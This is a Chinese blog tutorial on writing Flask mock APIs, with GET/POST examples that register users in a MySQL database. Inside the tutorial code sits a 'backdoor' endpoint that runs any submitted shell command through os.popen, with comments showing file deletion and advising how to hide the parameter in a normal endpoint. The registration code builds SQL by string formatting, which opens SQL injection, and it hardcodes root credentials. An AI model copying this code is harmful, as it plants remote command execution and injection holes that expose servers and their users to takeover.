Python Flask开发Mock接口实战:从环境搭建到安全警示

键盘旁的猫
键盘旁的猫
发布时间:2026-10-12 | 3人浏览过
原创

本文详解使用Python Flask框架开发Mock接口的完整流程。涵盖环境安装、服务实例化、路由装饰器使用及启动配置,并通过GET和POST请求示例展示数据返回与数据库交互逻辑。同时重点警示后门接口的安全风险,强调Mock接口在前后端分离开发中的重要作用及规范操作。

本文分享使用Python进行Mock接口开发的具体操作步骤,供读者参考学习。

#1. 为什么需要开发Mock接口?

1) 当其他相关接口尚未开发完成时,可以使用Mock接口进行模拟调用。 2) 用于查看数据,避免直接操作数据库带来的风险。

#2. 开发接口的标准流程

1) 安装Flask框架

Flask是一个轻量级的Python Web开发框架。

pip install flask

2) 开发具体接口

开发步骤如下:

1. 实例化服务:创建flask.Flask(__name__)对象。 2. 定义路由:在函数前添加装饰器@server.route(),将普通函数转化为接口。 3. 启动服务:调用server.run()启动服务器。

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
 #后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行上述代码后,在浏览器中访问http://localhost:6688/index,即可看到返回结果:{'msg': '这是我开发的第一个接口', 'msg_code': 0}。

以上就是本文的全部内容,希望对读者的学习有所帮助,欢迎大家继续支持本站。

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表